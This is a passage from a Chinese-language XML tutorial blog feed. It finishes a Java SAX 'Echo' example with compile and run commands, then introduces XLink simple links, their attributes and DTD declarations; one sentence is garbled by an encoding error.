<P>当emit方法被调用时，所有输入/输出错误都被封装在了SAXException中，并由SAX分析器来处理SAXException异常。</P></DIV>
<P></P>
<P></P>
<DIV class=pt10><B>8.3.2.6 简单格式化输出</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>在对XML文档进行实际的处理之前，我们还需要做最后一件事情——写一个简单的换行函数nl，使输出文档不至于都输出在同一行上，以增加输出文档的可读性，如下面代码中的黑体所示：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">private void emit (String s) {<BR>... <BR>} <BR><STRONG>private void nl () throws SAXException {<BR>String lineEnd = System.getProperty("line.separator");<BR>try {<BR>&nbsp; out.write (lineEnd);<BR>} catch (IOException e) {<BR>&nbsp; throw new SAXException ("I/O error", e);<BR>}<BR>}</STRONG></TD></TR></TBODY></TABLE></CENTER></DIV>
<P>　</P>
<DIV class=pt10><B>8.3.2.7 处理文档事件</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR>&nbsp;</P>
<DIV class=pt9>
<P>在"实现DocumentHandler接口"一节中，我们定义了五个文档事件处理方法的框架，现在，我们来实现框架中的实际内容，如下所示：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">public void startDocument ()<BR>throws SAXException {<BR><STRONG>emit ("&lt;?xml version= 1.0 encoding= gb2312 ?&gt;");<BR>nl();<BR></STRONG>}<BR><BR>public void endDocument ()<BR>throws SAXException {<BR><STRONG>try {<BR>&nbsp; nl();<BR>&nbsp; out.flush ();<BR>} catch (IOException e) {<BR>&nbsp; throw new SAXException ("I/O error", e); <BR>} </STRONG><BR>}</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>在上面代码中，当分析器遇到文档的起始部分时，就输出XML文档声明语句。当分析器分析到文档的结束时，简单地输出一个换行，并把输出流中的内容全部输出。就文档开始与结束而言，不需要再做其他的工作。而对于元素起始与结束，所做的工作如下面代码中的黑体部分所示：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">public void startElement (String name, AttributeList attrs)<BR>throws SAXException {<BR><STRONG>emit ("&lt;"+name);<BR>if (attrs != null) {<BR>&nbsp; for (int i = 0; i &lt; attrs.getLength (); i++) {<BR>&nbsp;&nbsp; emit (" ");<BR>&nbsp;&nbsp; emit (attrs.getName(i)+"=\""+attrs.getValue (i)+"\"");<BR>&nbsp; }<BR>}<BR>emit ("&gt;");</STRONG><BR>}<BR><BR>public void endElement (String name)<BR>throws SAXException {<BR><STRONG>emit ("&lt;/"+name+"&gt;");</STRONG><BR>}</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>通过上面的代码，可以输出所遇到的元素名称以及元素的所有属性。现在，只剩下XML文档中的文本内容没有输出了。下面代码则是characters方法的实现：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">public void characters (char buf [], int offset, int len)<BR>throws SAXException {<BR><STRONG>String s = new String(buf, offset, len);<BR>emit (s);</STRONG><BR>}</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>到目前为止，我们已经写完了利用SAX分析器的一个应用程序Echo.java，接下来就是编译并执行该应用程序了。<BR></P></DIV>
<P></P>
<P></P>
<DIV class=pt10><B>8.3.3 应用程序的编译与执行</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR>&nbsp;</P>
<DIV class=pt9>
<P>最后，我们来说说所编写的程序的编译和执行方法。 
<OL>
<LI><STRONG>编译应用程序</STRONG> </LI></OL>
<P>在不同的系统中，编译指令也有所不同。</P>
<BLOCKQUOTE>
<P>Windows:<BR>javac -classpath %XML_HOME%\jaxp.jar;%XML_HOME%\parser.jar Echo.java <BR>Unix:<BR>javac -classpath ${XML_HOME}/jaxp.jar:${XML_HOME}/parser.jar Echo.java </P></BLOCKQUOTE>
<P>其中 
<UL>
<LI>XML_HOME是安装JAXP和Project X库的路径。 
<LI>jaxp.jar中包含了JAXP中所定义的APIs。 
<LI>parser.jar中则包含了实现SAX和DOM APIs的接口和类。 </LI></UL>
<OL>
<LI type=disc value=2><STRONG>执行应用程序</STRONG> </LI></OL>
<P>如果要执行应用程序，在不同的系统中，指令也有所不同。</P>
<BLOCKQUOTE>
<P>Windows:<BR>java -classpath .;%XML_HOME%\jaxp.jar;%XML_HOME%\parser.jar Echo slideSample.xml</P></BLOCKQUOTE>
<P>经过了编译和执行后，我们的echo.java程序就可以如愿以偿地发挥作用了。</P></DIV>
<P></P>
<P></P>
<P><BR><FONT face=宋体></FONT></FONT>&nbsp;</P></DIV></DIV>
<P><FONT face=宋体 size=2></FONT></P>
<P><FONT face=宋体 size=2></FONT></P></TD>
<TD width=41>　</TD></TR></TBODY></TABLE></P></DIV>]]></description>
</item><item>
<title><![CDATA[XML(44)合并（链接）]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=xiaoqiao_xml&amp;id=10857</link>
<author>xiaoqiao_xml</author>
<pubDate>2005/12/28 12:53:22</pubDate>
<description><![CDATA[
<DIV class=pt10><B>7.1 XML链接与HTML链接</B></DIV>&nbsp;&nbsp;&nbsp; 
<DIV></DIV><BR>
<DIV class=pt9>
<P>进行完对于XML的一系列基本介绍之后，让我们来探索一些XML更深层次的技术。完成了后面三章的学习，相信您将跃升为一个XML开发高手。这一章我们首先从XML链接说起。</P>
<P>说起HTML，大家可能都会对它所提供的超链接功能拍手称快。的确，超链接可以说是鼓起了我们网上冲浪的风帆，它打破了传统的直线形和树形的信息组织结构，根据发散思维的特点，帮助我们利用网状的信息组织，方便地浏览我们感兴趣的内容。</P>
<P>了解HTML的读者都知道，在HTML中表示链接的标记是&lt;A&gt;，通过标记&lt;A&gt;，可以从一个文件链接到另一个文件，或者链接到文件的某一部分。另外，使用标记&lt;IMG&gt;等可以将图象直接嵌入网页。下面就是一个典型的HTML链接的例子：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;A href = "http://www.xlinksample.com/students.xml"&gt; List of Students&lt;/A&gt;</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>HTML链接尽管定义简单，使用方便，但它也存在着明显的局限性。首先，HTML链接是单向的，它只能从链接所在的文件指向另一个文件。也就是说，我们可以通过标记&lt;A&gt;的href属性知道该文件的若干链接目标，但无法知道又有哪些文件链接到该文件，不知道它有哪些链接源。其次，HTML链接只能指向一个文件，在需要指定多个链接的时候，不得不使用多个&lt;A&gt;标记，而由于HTML是非结构化的，这些链接的关系和结构信息无法表现。第三，HTML可以链接到文件内部的某一部分，这通过在目标文件中插入命名锚（named anchor）来实现。但是，如果源文件和目标文件由不同的人员负责，甚至在不同的站点上，两个文件的协作就成为问题。</P>
<P>XML链接在HTML链接的功能之上又加以扩展，可以支持更为复杂的链接。通过XML链接，不仅可以在XML文件之间建立链接，而且可以建立其他类型数据之间的链接。不仅如此，XML链接还为文件内部定位提供了全新的方式，允许链接的建立者利用文件结构指定文件内部的资源片断。利用简单XML链接，可以轻松地实现HTML中的链接功能；利用扩展XML链接，可以在多个资源之间建立链接，还可以建立多向的链接；利用XPointer在一个XML文件内部的定位功能，可以利用目标文件的结构指定所链接的资源，而无需对目标文件进行任何修改；利用链接库，可以将链接从文件中分离出来，就象用XSL文件把样式转换信息从XML文件中独立出来一样，从而简化链接的管理。</P>
<P>XML链接规范分为三个部分：XLink语言、XPointer语言和XML Base，我们将分三节分别进行讲述。关于Xlink的讨论基于XLink语言规范2000年7月3日候选标准；有关XPointer的讨论基于XPointer语言规范2000年6月7日候选标准；有关XBase的讨论基于XBase规范2000年6月7日工作草案。当前这几个规范都不是正式标准，因此并不稳定，某些内容会随着规范的发展而变化，建议大家在具体开发时参考一下W3C公布的最新版本，XLink、XPointer和XBase规范的最新版本分别可在http://www.w3.org/TR/xlink、http://www.w3.org/TR/xptr、http://www.w3.org/TR/xmlbase处取得。</P>
<P>在详细介绍XML链接之前，我们先来看一个XML链接的例子：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;LINK xmlns:xlink = "http://www.w3.org/1999/xlink"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xlink:type = "simple"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xlink:href = "http://www.xlinksample.com/students.xml"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xlink:role = "studentlist" <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xlink:title = "Student List"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xlink:show = "replace"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xlink:actuate = "onRequest"&gt;<BR>List of Students<BR>&lt;/LINK&gt;</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>与HTML的链接元素相比较，上面这个例子中的XML链接元素存在以下几点不同： 
<OL>
<LI>标记名不同。上例中用的是LINK，而不是HTML中的A。事实上，XML中没有专门用于链接的标记，任意标记名的元素都可以是XML的链接元素，因此例子中的标记名LINK，完全可以换成其他的名字，而不象在HTML中那样一定要用标记&lt;A&gt;。 
<LI>使用了命名空间。上例中的第一个属性为命名空间声明，且其他属性名都有命名空间前缀。虽然可以使用自己喜欢的任何前缀代表XLink命名空间，但直接使用xlink前缀可以增加文件的可读性，因而我们更推荐这种做法。xlink前缀可以在文件的根元素中定义，也可以在使用xlink前缀的元素中定义。 
<LI>增加了许多与链接相关的属性。例子中除了第一个属性是命名空间声明和第三个属性与HTML相似以外，其他的属性都是新增加的。由XLink给出的全局属性一共有十个，包括type、href、role、arcrole、title、show、actuate、label、from和to。其中属性type表明了XLink元素的类型，共有六种Xlink元素，即：simple、extended、locator、arc、resource和title，但只有simple、extended 两种XLink元素才是真正的XML链接元素，而其他只用于提供各种描述链接的特性信息。处理程序正是根据type的值决定如何处理该XLink元素。需要强调的是，如果XML文件具有文件类型定义DTD，XLink的全局属性必须在DTD中定义。不过，并不是所有的XLink全局属性都必须在DTD中加以声明，可以根据需要进行裁剪，只声明使用到的属性即可。而且，将一个元素声明为链接元素并没有增加对元素的属性和内容的限制，只要元素实例符合DTD声明，仍然可以包括任意属性和内容。上例的DTD声明如下，其中属性ALT和ALIGN都与链接本身无关： </LI></OL>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;!ELEMENT LINK (#PCDATA)&gt;<BR>&lt;!ATTLIST LINK<BR>&nbsp; xmlns:xlink CDATA #FIXED "http://www.w3.org/1999/xlink"<BR>&nbsp; xlink:type (simple) #FIXED "simple"<BR>&nbsp; xlink:href CDATA #REQUIRED<BR>&nbsp; xlink:role CDATA #IMPLIED<BR>&nbsp; xlink:title CDATA #IMPLIED<BR>&nbsp; xlink:show (embed | replace | new) "replace"<BR>&nbsp; xlink:actuate (onLoad | onRequest) "onRequest"<BR>&nbsp; ALT CDATA #IMPLIED<BR>&nbsp; ALIGN CDATA #IMPLIED<BR>&gt;</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>当前的主流浏览器Netscape和Internet Explorer对XLink的支持非常弱，在Netscape 6.0的预览发行版中可以发现对简单XML链接的支持，但是其支持的部分并不完全符合最新的规范；IE5.5没有提出对XLink的支持。另外，虽然现在有许多关于XLink的研究计划，但能够完整支持XLink的工具和应用还没有出现。<BR></P></DIV>
<P></P>
<DIV class=pt10><B>7.2.1 简单XML Link</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>&nbsp;&nbsp;&nbsp;&nbsp; 简单XML链接与HTML链接非常相似，它在两个资源之间建立关联。这两个资源分别是文件中的链接元素和XLink全局属性href所指向的资源，其中链接元素为本地资源或起始资源，href所指向的资源为远程资源或目标资源。可以用简单XML链接实现HTML链接，下面示例中使用XLink实现HTML中的链接标记&lt;A&gt;。</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;!ELEMENT A(#PCDATA)&gt;<BR>&lt;!ATTLIST A <BR>&nbsp; xmlns:xlink CDATA #FIXED "http://www.w3.org/1999/xlink" <BR>&nbsp;&nbsp;&nbsp;&nbsp;xlink:type (simple) #FIXED "simple"<BR>&nbsp;&nbsp;&nbsp;&nbsp;xlink:href CDATA #REQUIRED<BR>&nbsp;&nbsp;&nbsp;&nbsp;xlink:role CDATA #IMPLIED<BR>&nbsp;&nbsp;&nbsp;&nbsp;xlink:title CDATA #IMPLIED<BR>&nbsp;&nbsp;&nbsp;&nbsp;xlink:show (embed | replace | new) "replace"<BR>&nbsp;&nbsp;&nbsp;&nbsp;xlink:actuate (onLoad | onRequest) "onRequest"<BR>&gt;</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>可以利用上面的DTD声明，我们可以定义元素A的实例：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;A xlink:href = "http://www.xlinksample.com/simplelink.xml"&gt;<BR>This is a simple xlink!<BR>&lt;/A&gt;</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>对照HTML中的链接的例子：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;A href = "http://www.xlinksample.com/simplelink.xml"&gt;<BR>This is a simple xlink!<BR>&lt;/A&gt;</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>可以发现，两种写法已经非常接近，除了XML中具有xlink前缀表示XLink命名空间，其他都完全一样（这里我们假设命名空间已经在文件首部声明）。同样，它们在浏览器上的表现也应该是一样的。在上例中所链接的资源是元素A和"http://www.xlinksample.com/simplelink.xml"所指向的资源，下面是它的示意图。</P>
<P align=center><IMG height=283 src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX19.1875/www.17t8.com/xmlbook/image/TU000000-0702-0100-01.gif" width=283></P>
<P>同样，我们可以使用XLink实现HTML中的&lt;IMG&gt;标记：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;!ELEMENT IMG EMPTY&gt;<BR>&lt;!ATTLIST IMG <BR>&nbsp; xmlns:xlink CDATA #FIXED "http://www.w3.org/1999/xlink"<BR>&nbsp; xlink:type (simple) #FIXED "simple"<BR>&nbsp; xlink:href CDATA #REQUIRED<BR>&nbsp; xlink:show CDATA #FIXED "onLoad"<BR>&nbsp; xlink:actuate CDATA #FIXED "embed"<BR>&nbsp; ALT CDATA #IMPLIED<BR>&nbsp; ALIGN CDATA #IMPLIED<BR>&nbsp; HEIGHT CDATA #IMPLIED<BR>&nbsp; WIDTH CDATA #IMPLIED<BR>&nbsp;&nbsp;BORDER CDATA ＃IMPLIED<BR>&gt;</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>当然，HTML中&lt;IMG&gt;标记的属性比上面列出的多一些，但是如果忽略那些不常使用的属性，使用上面的DTD声明定义实例，就可以在XML文件中嵌入图象资源。</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;IMG xlink:ref = "imgEmbed.gif" /&gt;</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>下面，我们就来分别介绍一下简单链接中所使用到的属性。 
<OL>
<LI><STRONG>类型属性</STRONG> </LI></OL>
<P>类型（xlink:type）属性决定了链接或资源的类型，XLink处理程序根据xlink:type的值决定如何处理链接元素，但是处理程序的动作并不仅仅取决于这一个属性，它还将取决于下面将要提到的行为属性。对XLink而言，xlink:type属性可以在元素的开始标记中定义，也可以在DTD中定义缺省值，但必须使XML分析器分析到链接元素时能够得到属性xlink:type的值。xlink:type属性的取值可以是simple、extended、locator、arc、resource、title和none其中之一。</P>
<P>对简单XML链接，type属性固定取值为"simple"，前面定义的A标记和IMG标记都是简单XML链接的例子。</P>
<P>如果一个元素的xlink:type属性取值为none，那么该元素就不是一个链接元素，不具有链接意义。如果该元素还具有一些与链接相关的其他属性或子元素，这些属性和内容也将失去其链接意义。例如下例中的NOLINK元素中包括的子元素LINK，虽然指定了xlink:type为simple，但仍然不具有链接意义。</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;NOLINK xmlns:xlink = "http://www.w3.org/1999/xlink"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xlink:type="none"&gt;<BR>&nbsp; &lt;LINK xlink:type = "simple" <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xlink:href = "http://www.xlinksample.com/students.xml"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xlink:role = "studentlist" <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xlink:title = "Student List"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xlink:show = "replace" <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xlink:actuate = "onRequest"&gt;<BR>&nbsp; List of Students<BR>&nbsp; &lt;/LINK&gt;<BR>&lt;/NOLINK&gt;</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>一般情况下，可以将简单XML链接元素的DTD定义如下：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;!ELEMENT LINK (#PCDATA)&gt;<BR>&lt;!ATTLIST LINK<BR>&nbsp; xmlns:xlink CDATA #FIXED "http://www.w3.org/1999/xlink"<BR>&nbsp;&nbsp;xlink:type (simple) #FIXED "simple"<BR>&nbsp; xlink:href CDATA #REQUIRED<BR>&nbsp; ……<BR>&gt;</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>但在某些情况下，元素LINK仅仅在文件某些地方作为链接元素出现，而在其他地方作为普通元素出现。此时，可以将DTD定义为：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;!ELEMENT LINK (#PCDATA)&gt;<BR>&lt;!ATTLIST LINK<BR>&nbsp; xmlns:xlink CDATA #FIXED "http://www.w3.org/1999/xlink"<BR>&nbsp;&nbsp;xlink:type (none | simple) #REQUIRED<BR>&nbsp; xlink:href CDATA #REQUIRED<BR>&nbsp; ……<BR>&gt;</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>在利用该DTD创建XML文件时，只要在需要链接元素的地方，将xlink:type属性取值为"simple"，在其他地方则取值为"none"。如果需要将链接元素改为非链接元素，只要简单地将xlink:type属性的值由"simple"改为"none"即可，反之亦然。 
<OL start=2>
<LI><STRONG>寻址属性</STRONG> </LI></OL>
<P>XML链接元素的寻址属性是指xlink命名空间的href属性，它指定了链接的目标资源。该属性的取值是一个URI，它可以是一个文件或文件中的某一特定位置。XML链接的xlink:href属性与HTML链接的href属性基本相同，如：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;LINK xmlns:xlink = "http://www.w3.org/1999/xlink"<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;xlink:type = "simple"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xlink:href = "http://www.xlinksample.com/students.xml"&gt;<BR>&lt;/LINK&gt;<BR>&lt;LINK xmlns:xlink = "http://www.w3.org/1999/xlink"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;xlink:type = "simple"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xlink:href = "students.xml"&gt;<BR>&lt;/LINK&gt;<BR>&lt;LINK xmlns:xlink = "http://www.w3.org/1999/xlink"<BR>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;xlink:type = "simple"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xlink:href = "http://www.xlinksample.com/students.xml#zhang"&gt;<BR>&lt;/LINK&gt;</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>在上面的三个例子中，第一个例子指定了目标资源的绝对位置，第二个例子指定了目标资源的相对位置，第三个例子指定了被链接文件中的某个具有ID属性，且取值为"zhang"的元素。对于第二种情况，XLink处理程序必须能够接收xml:base属性，指定资源相对于哪个位置，然后将xml:base与xlink:href合并得到资源的具体位置。而对于第三种情况中的文件内部定位，则由Xpointer语言定义。关于XPointer和XML Base的详细介绍，请参照本章中的XPointer和XML Base小节。</P>
<P>另外，简单XML链接的xlink:href属性可以不出现。此时这种链接薹ㄏ笃胀ǖ牧唇右谎せ睿匀豢梢越衅渌恚缈梢岳盟试春褪粜酝ü齒Link属性关联起来。这种用法并不常见，此时需要改写前面的DTD声明。</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;!ELEMENT LINK (#PCDATA)&gt;<BR>&lt;!ATTLIST LINK<BR>&nbsp; xmlns:xlink CDATA #FIXED "http://www.w3.org/1999/xlink"<BR>&nbsp;&nbsp;xlink:type (none | simple) #IMPLIED<BR>&nbsp; xlink:href CDATA <STRONG>#IMPLIED</STRONG><BR>&nbsp; ……<BR>&gt;</TD></TR></TBODY></TABLE></CENTER></DIV>
<OL start=3>
<LI><STRONG>语义属性</STRONG> </LI></OL>
<P>由于属性xlink:arcrole、xlink:role和xlink:title用于描述链接或资源，因此常称它们为语义属性。其中xlink:role属性用于机器阅读，如用于搜索引擎的“爬行”（crawler或spider）程序，而xlink:title属性则用于人工阅读。在简单 XML链接中，xlink:role和xlink:tile用于描述链接所指向的资源，在下面例子中，表示目标文件（由"http://www.xlinksample.com/students.xml"指定）具有role为"studentlist"，title为"Student List"。</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;LINK xmlns:xlink = "http://www.w3.org/1999/xlink"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xlink:type = "simple"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xlink:href = "http://www.xlinksample.com/students.xml"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xlink:role="studentlist" <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xlink:title="Student List"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xlink:show="replace" <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xlink:actuate="onRequest"&gt;<BR>List of Students<BR>&lt;/LINK&gt;</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>属性xlink:role和xlink:title是可选的。象其他属性一样，它们可以直接用于XML文件，也可以在DTD中定义，如：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;!ELEMENT LINK (#PCDATA)&gt;<BR>&lt;!ATTLIST LINK<BR>&nbsp; ……<BR>&nbsp; xlink:role CDATA #IMPLIED<BR>&nbsp; xlink:title CDATA #IMPLIED<BR>&gt;</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>至于属性xlink:arcrole，它只能用于arc类型元素中，其作用与role类似，我们将在链接弧一节中对它作进一步介绍。 
<OL start=4>
<LI><STRONG>行为属性</STRONG> </LI></OL>
<P>链接元素还包括两个全局属性xlink:show和xlink:actuate，用于指示在链接激活时的行为，因此称为行为属性。属性xlink:show表示链接激活时，目标资源的显示环境，如在当前窗口显示或在新的窗口中显示；而xlink:actuate表示何时激活链接，是文件加载时或用户要求时。</P>
<P>xlink:show属性的取值必须为new、replace、embed、other和none五个值之一。下表描述了show属性各个取值的意义，并给出了对应的HTML代码。</P>
<DIV align=center>
<CENTER>
<TABLE width="90%" border=1>
<TBODY>
<TR>
<TD align=middle width="20%"><STRONG>取&nbsp; 值</STRONG></TD>
<TD align=middle width="40%"><STRONG>含&nbsp; 义</STRONG></TD>
<TD align=middle width="40%"><STRONG>HTML代码</STRONG></TD></TR>
<TR>
<TD align=middle width="20%"><STRONG>new</STRONG></TD>
<TD width="40%">在链接激活时，被链接资源将显示在新窗口。</TD>
<TD align=left width="40%">&lt;A href = "..." target = "_blank"&gt;<BR>...&lt;/A&gt;</TD></TR>
<TR>
<TD align=middle width="20%"><STRONG>replace</STRONG></TD>
<TD width="40%">在链接激活时，被链接资源将显示在起始资源所在的窗口中。</TD>
<TD align=left width="40%">&lt;A href ="..." target = "_self"&gt;<BR>...&lt;/A&gt;</TD></TR>
<TR>
<TD align=middle width="20%"><STRONG>embed</STRONG></TD>
<TD width="40%">链接激活时，被链接资源直接嵌入链接所在文件。</TD>
<TD align=left width="40%">
<P align=left>&lt;IMG src ="..."&gt;</P></TD></TR>
<TR>
<TD align=middle width="20%"><STRONG>other</STRONG></TD>
<TD width="40%">链接激活时，其显示方式由该链接中的其他置标决定。</TD>
<TD align=middle width="40%">无</TD></TR>
<TR>
<TD align=middle width="20%"><STRONG>none</STRONG></TD>
<TD width="40%">链接激活时，其显示方式无法由该链接决定。</TD>
<TD align=middle width="40%">无</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>从表中可以看出，当属性xlink:show取值"embed"时，目标资源将直接嵌入源文件，因此起始资源常常不是完整的文件。利用目标资源的内嵌可以实现客户端的文件包含。例如：用XLink链接几个相关文件，构成一个完整的XML文件。但是，正如HTML中的IMG元素一样，目标资源的嵌入仅仅影响相关资源的显示，并不表示起始资源的转换。例如，如果目标资源是XML文件，该文件并不会作为起始资源的一个部分而被XML分析器所处理。</P>
<P>属性xlink:actuate表示链接的激活时间，它有四个预定义值onRequest、onLoad、other和none，actuate属性的取值必须位居其一。下面仍然以列表的形式给出各个属性的含义：</P>
<DIV align=center>
<CENTER>
<TABLE width="90%" border=1>
<TBODY>
<TR>
<TD align=middle width="10%"><STRONG>取&nbsp;&nbsp; 值</STRONG></TD>
<TD width="50%">
<P align=center><STRONG>含&nbsp;&nbsp; 义</STRONG></P></TD></TR>
<TR>
<TD align=middle width="10%"><STRONG>onRequest</STRONG></TD>
<TD width="50%">在文件装入后，链接在用户要求的时候激活，通常是一个用户动作或指示，比如用户在浏览器上用鼠标点击了链接，或者应用程序发出了命令等。</TD></TR>
<TR>
<TD align=middle width="10%"><STRONG>onLoad</STRONG></TD>
<TD width="50%">在文件装入时直接激活链接。一般而言，对xlink:show属性取值为"embed"时，将xlink:actuate取值"onLoad"是很自然的选择，尤其是起始资源不完整的时候。</TD></TR>
<TR>
<TD align=middle width="10%"><STRONG>other</STRONG></TD>
<TD width="50%">链接激活的时机由链接的其他置标决定。</TD></TR>
<TR>
<TD align=middle width="10%"><STRONG>none</STRONG></TD>
<TD width="50%">链接激活的时机无法由链接自身决定。</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>xlink:show属性和xlink:actuate属性都是可选的，它们可以直接使用，也可以在DTD声明中定义：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;!ELEMENT LINK (#PCDATA)&gt;<BR>&lt;!ATTLIST LINK<BR>&nbsp;&nbsp;&nbsp; ……<BR>&nbsp;&nbsp;&nbsp; xlink:show (new | replace | embed | other | none ) #IMPLIED "replace"<BR>&nbsp; xlink:actuate (onLoad | onRequest | other | none) #IMPLIED "onRequest"<BR>&gt;</TD></TR></TBODY></TABLE></CENTER></DIV></DIV>
<P></P>
<DIV class=pt10><B>7.2.2.1 基本构成</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>通过前面一节对简单XML链接的介绍，可以发现，无论是对构造链接的文件作者，还是对处理链接的应用来说，简单XML链接都与HTML中的链接十分类似。然而与HTML链接一样，简单XML链接的功能是比较有限的。为了满足复杂的需要，XML链接规范定义了扩展XML链接。通过扩展XML链接，可以在多个资源间实现多向的XML链接。</P>
<P>扩展XML链接元素的构造，很大程度上取决于用户，但通常都会包括一个资源集合和一个连接集合。资源集合中可以包括本地资源和远程资源，如果资源是XML链接元素的组成部分，该资源是本地资源；否则就是远程资源，如另外的XML文件或本文件的其他元素。连接集合中的各个元素表示资源集合元素间的链接。除了资源集合和连接集合外，扩展XML链接元素可以包括其他内容或标记，甚至可以包含简单XML链接或扩展XML链接作为其子元素。</P>
<P>扩展XML链接的xlink:type属性值固定为"extended"。它还可以具有语义属性，即前面讲到的xlink:role和xlink:title属性，其意义与前面所说的相似，只不过是用于描述整个链接。扩展XML链接包括的资源数目可以少于两个，甚至可以不包含资源。</P>
<P>下例是一个扩展XML链接的DTD声明，其中EXTLINK元素是一个扩展XML链接元素，它包含零到多个RESOURCE元素、LOCATOR元素和CONNECTION元素。其中RESOURCE元素表示本地资源，LOCATOR元素表示远程资源，CONNECTION元素表示这些资源间的连接。从这个声明中，我们可以对扩展链接的结构更为明了。</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
